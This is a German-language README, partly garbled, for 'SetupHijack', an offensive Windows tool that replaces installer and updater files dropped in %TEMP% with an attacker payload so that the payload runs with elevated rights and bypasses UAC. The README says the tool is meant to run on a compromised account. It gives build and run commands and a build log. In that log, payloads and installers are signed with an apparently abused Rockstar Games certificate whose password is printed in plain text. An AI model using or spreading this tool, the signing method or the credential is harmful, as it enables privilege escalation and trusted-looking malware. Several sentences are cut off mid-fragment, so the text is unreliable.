
SetupHijack ist ein Sicherheitsforschungstool, das Race Conditions und unsichere Dateibehandlung in Windows-Anwendungsinstallations- und Update-Prozessen ausnutzt.
SetupHijack ist ein Sicherheitsforschungstool, das Race Conditions und unsichere Dateibehandlung in Windows-Installations- und Updateprozessen ausnutzt. Es zielt auf Szenarien ab, in denen privilegierte Installationsprogramme oder Updater Dateien in %TEMP% oder anderen für alle Benutzer beschreibbaren Orten ablegen, sodass ein Angreifer diese Dateien ersetzen kann, bevor sie mit erhöhten Rechten ausgeführt werden.
.exe, .msi und Batch-Dateien (z. B. sysinfo, netstat, ipconfig) infizieren.Der beabsichtigte Verwendungszweck dieses Tools ist es, im Hintergrund auf einem kompromittierten Benutzerkonto mit Berechtigungen zu laufen, um einen anderen Prozess durch Hijacking von Installer-/Updater-Dateiabwürfen zu erhöhen.
Das Diagramm unten zeigt reale Beispiel-Anwendungsfälle dieses Exploits in mehreren Szenarien, die für einen UAC-Bypass verwendet werden können. UAC-Bypasses gelten als Sicherheitsgrenze, wenn sie unter Adminless ausgeführt werden, und sind eine häufige "Angreiferanforderung" zum Deaktivieren von Sicherheitskontrollen. Die Ausnutzung privilegierter Administratoroperationen bietet schädlichem Code eine generische Exploit-Zugänglichkeit, um Prozessprivilegien per Side-Loading zu erhöhen oder zu eskalieren. Dieses Tool kann verwendet werden, um weitere Anwendungen zu identifizieren, die denselben Risikoarten ausgesetzt sind; ein Angreifer kann auf die Ausführung dieser Prozesse warten, um erhöhte Rechte zu erlangen, ohne das Nutzerverhalten zu stören.

%TEMP% (und Unterverzeichnisse) nach neuen oder geänderten Installationsdateien..bak-Datei erhalten bleibt.Dieses Projekt verwendet einen gehackten Codesignierungsprozess mit SignToolEx.exe und SignToolExHook.dll, um Payloads und Installationsprogramme zu signieren. Die Verwendung gültiger Codesignierungszertifikate und eines Authenticode-Zeitstempels erhöht die Erfolgsrate beim Umgehen von Installer- und Betriebssystem-Vertrauensprüfungen.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Ausführen (Optionen)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata oder -nodownloads deaktivieren.clean stellt Backups an allen aktivierten Orten wieder her. Das Flag verbose protokolliert alle Aktionen.shadow.exe oder ähnlichen Tools auf Terminal Services.
%TEMP% ablegt und sie mit erhöhten Rechten ausführt, wird Ihre Payload ersetzt und ausgeführt.Im Folgenden finden Sie ein reales Beispiel für das Erstellen und Ausführen von SetupHijack, einschließlich Code-Signierung und Infektionsausgabe:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0